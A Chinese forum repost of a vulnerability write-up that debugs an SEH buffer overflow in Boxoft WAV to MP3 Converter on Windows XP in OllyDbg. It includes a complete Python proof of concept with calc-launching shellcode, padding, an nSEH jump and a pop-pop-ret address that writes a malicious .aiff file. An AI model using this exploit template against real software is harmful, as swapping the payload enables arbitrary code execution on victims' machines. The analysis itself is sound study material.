|
Platform: Windows XP sp3
Date: 2016.3.18
Author: toT0C
首先拿到poc,先看看,明显的溢出,利用的是SEH的结构
[Python] 纯文本查看 复制代码# !/usr/bin/python#using = utf-8 # Title: Boxoft WAV to MP3 Converter - convert 特性缓冲区溢出# software: Boxoft WAV# version : # windows/calc - 277 bytes shellcode = ("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1" "\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63" "\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1" "\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96" "\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a" "\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa" "\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde" "\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc" "\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36" "\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6" "\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72" "\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc" "\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2" "\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1" "\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80" "\xc4\xd9") junk = "A"*4132nseh = "\xeb\x06\x90\x90"seh = "\xa4\x43\x40\x00"junk2 = "\x90"*20 exploit = junk + nseh + seh + junk2 + shellcode + junk2 f = open("malicious.aiff", "w") f.write(exploit)f.close()
载入OD,然后命令执行Bpx CreateFileW,因为肯定会读取文件,所以直接在调用下断点就好了,然后重新载入F9运行起来,添加用poc生成的文件,点击play,会发现断下来了
然后就F8单步慢慢走,发现走完这句就会执行shellcode,那么这个函数肯定有问题了,下个断点做标记,F7跟进去
继续F8单步,然而发现进入了一个循环,来看看未开始循环时部分栈的布局
[Asm] 纯文本查看 复制代码0012EB0C 0012EB980012EB10 000000040012EB14 000000000012EB18 7C80189C kernel32.7C80189C0012EB1C 000000040012EB20 0012EB980012EB24 000001F00012EB28 004688F4 wavtomp3.004688F40012EB2C 0012EB400012EB30 000000000012EB34 00000004
然后来看看循环十遍后部分栈的布局[Asm] 纯文本查看 复制代码0012EB0C 769ACFFB 返回到 ole32.769ACFFB 来自 ntdll.RtlAllocateHeap0012EB10 001600000012EB14 000000000012EB18 414141410012EB1C 414141410012EB20 414141410012EB24 76AB7041 ole32.76AB70410012EB28 00B1AEC00012EB2C 000000420012EB30 0012EB44 UNICODE "E"0012EB34 770F4B6A 返回到 oleaut32.770F4B6A 来自 oleaut32.770F4AE0发现了没?这里就是溢出的原因,执行完这个call就会写入一个41,所以既然都到这里了,那就跟进这个call[Asm] 纯文本查看 复制代码004BA8C7 |. FF55 0C |call [arg.2] ; wavtomp3.004B7EDD整个函数[Asm] 纯文本查看 复制代码004209E0 . 8B40 04 mov eax,dword ptr ds:[eax+0x4]004209E3 . E8 D8A8FEFF call wavtomp3.0040B2C0004209E8 . 83F8 FF cmp eax,-0x1004209EB . 75 02 jnz short wavtomp3.004209EF004209ED . 33C0 xor eax,eax004209EF > C3 retn再F7跟进这一句[Asm] 纯文本查看 复制代码004209E3 . E8 D8A8FEFF call wavtomp3.0040B2C0整个函数[Asm] 纯文本查看 复制代码0040B2C0 /$ 53 push ebx0040B2C1 |. 56 push esi0040B2C2 |. 57 push edi0040B2C3 |. 51 push ecx0040B2C4 |. 8BF9 mov edi,ecx0040B2C6 |. 8BF2 mov esi,edx0040B2C8 |. 8BD8 mov ebx,eax0040B2CA |. 6A 00 push 0x0 ; /pOverlapped = NULL0040B2CC |. 8D4424 04 lea eax,dword ptr ss:[esp+0x4] ; |0040B2D0 |. 50 push eax ; |pBytesRead = 000001F00040B2D1 |. 57 push edi ; |BytesToRead = 0x00040B2D2 |. 56 push esi ; |Buffer = 000000050040B2D3 |. 53 push ebx ; |hFile = 00B1AEC00040B2D4 |. E8 3FB8FFFF call ; \ReadFile0040B2D9 |. 85C0 test eax,eax0040B2DB |. 75 07 jnz short wavtomp3.0040B2E40040B2DD |. C70424 FFFFFFFF mov dword ptr ss:[esp],-0x10040B2E4 |> 8B0424 mov eax,dword ptr ss:[esp] ; wavtomp3.004209E80040B2E7 |. 5A pop edx ; wavtomp3.004209E80040B2E8 |. 5F pop edi ; wavtomp3.004209E80040B2E9 |. 5E pop esi ; wavtomp3.004209E80040B2EA |. 5B pop ebx ; wavtomp3.004209E80040B2EB \. C3 retn你说你读取都不看看限制条件吗?完全没法忍啊!!!!!!如果有同学想直观感受是如何溢出的,这样,在这句下断[Asm] 纯文本查看 复制代码004BA8C7 |. FF55 0C |call [arg.2] ; wavtomp3.004209E0然后在数据区Ctrl+G,跳到0x0012EB98,然后一直按住F9,就会感受到\x41在疯狂的填充着,这是飞一样的感觉,不过4000+个A也是蛮多的
好了那这里就不贪玩手动走完循环啦,毕竟年纪大了,直接来到RETN,可以看到,整个的shellcode已经布置好了
结合poc里面的代码,来分析一下,整个填充的结构为填充+nseh+seh+nop+shellcode填充:就是溢出到SEH的位置Nseh:这里使用常用的"\xeb\x06\x90\x90",汇编就是jmp 06 nop nopSeh:指向的是一个执行pop popretn的地址然后nop和shellcode没什么好解释的为什么SEH的指令要这样写?这是当前寄存器的布局[Asm] 纯文本查看 复制代码EAX 00000000ECX 00001137EDX 00001137EBX 41414141ESP 0012FBB8EBP 41414141ESI 41414141EDI 41414141EIP 004BADD0 wavtomp3.004BADD0C 0 ES 0023 32位 0(FFFFFFFF)P 0 CS 001B 32位 0(FFFFFFFF)A 1 SS 0023 32位 0(FFFFFFFF)Z 0 DS 0023 32位 0(FFFFFFFF)S 0 FS 003B 32位 7FFDD000(FFF)T 0 GS 0000 NULLD 0O 0 LastErr ERROR_SUCCESS (00000000)EFL 00200212 (NO,NB,NE,A,NS,PO,GE,G)ST0 empty -??? FFFF 00D2D2D4 2AFCFCFEST1 empty -??? FFFF 00000000 2A2A2A2AST2 empty -??? FFFF 00000051 00510051ST3 empty -??? FFFF 0000005D 005D005DST4 empty -NAN FFFF A1FEFEFF ADFEFEFFST5 empty -??? FFFF 0000005D 005D005EST6 empty 1.0000000000000000000ST7 empty 1.0000000000000000000 3 2 1 0 E S P U O Z D IFST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ)FCW 1372 Prec NEAR,64 掩码 1 1 0 0 1 0然后看ESP的值是41414141, retn到这地方妥妥的触发异常啊[Asm] 纯文本查看 复制代码0012FBB8 414141410012FBBC 909006EB 指向下一个 SEH 记录的指针0012FBC0 004043A4 SE处理程序
跳到我们伪造的SEH地址去看看先,顺便下个断点
下好了断点然后F9欢快的跑起来,来看看这段代码作用[Asm] 纯文本查看 复制代码004043A4 |. 68 64504C00 push wavtomp3.004C5064 ; |Title = "Error"004043A9 |. 68 6C504C00 push wavtomp3.004C506C ; |Text = "Runtime error at 00000000"004043AE |. 6A 00 push 0x0 ; |hOwner = NULL004043B0 |. E8 33CFFFFF call ; \MessageBoxA004043B5 |> 5A pop edx ; ntdll.7C9232BC004043B6 \. C3 retn执行到call Messagebox前,栈的布局[Asm] 纯文本查看 复制代码0012F7E0 00000000 |hOwner = NULL0012F7E4 004C506C |Text = "Runtime error at 00000000"0012F7E8 004C5064 |Title = "Error"0012F7EC 7C9232A8 \Style = 0x8|MB_ICONQUESTION|MB_DEFBUTTON3|3000|7C9200800012F7F0 0012F8D40012F7F4 0012FBBC0012F7F8 0012F8F00012F7FC 0012F8A8 ASCII "AAAAAAAA"0012F800 0012FBBC 指向下一个 SEH 记录的指针0012F804 7C9232BC SE处理程序0012F808 0012FBBC0012F80C /0012F8BC0012F810 |7C92327A 返回到 ntdll.7C92327A 来自 ntdll.7C923282执行完call Messagebox,因为Messagebox需要四个参数,pop的时候会弹出去4个参数所以现在栈的布局[Asm] 纯文本查看 复制代码0012F7F0 0012F8D40012F7F4 0012FBBC0012F7F8 0012F8F00012F7FC 0012F8A8 ASCII "AAAAAAAA"0012F800 0012FBBC 指向下一个 SEH 记录的指针0012F804 7C9232BC SE处理程序0012F808 0012FBBC0012F80C /0012F8BC0012F810 |7C92327A 返回到 ntdll.7C92327A 来自 ntdll.7C923282然后执行pop edx,又弹出去一个[Asm] 纯文本查看 复制代码0012F7F4 0012FBBC0012F7F8 0012F8F00012F7FC 0012F8A8 ASCII "AAAAAAAA"0012F800 0012FBBC 指向下一个 SEH 记录的指针0012F804 7C9232BC SE处理程序0012F808 0012FBBC0012F80C /0012F8BC0012F810 |7C92327A 返回到 ntdll.7C92327A 来自 ntdll.7C923282到了retn的时候,现在的esp的值为0x0012F7F4,而0x0012F7F4处的值为0x0012FBBC也就是会返回我们伪造的SEH地址,单步retn可以看到到了nseh的代码段
然后最终的运行效果就是一个计算器
最后呢,本文我同时也提交到Seebug和我的博客上了,如果大伙看到呢,并不是抄袭啊!!!!!!如果有同学对二进制漏洞分析感兴趣的,可以多上Seebug看看本文Seebug链接:https://www.seebug.org/vuldb/ssvid-89318还有我的博客,博客主要是记录二进制学习笔记和一些漏洞分析的,比如看雪的0DAY2调试笔记:http://www.wangzhixian.org/
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|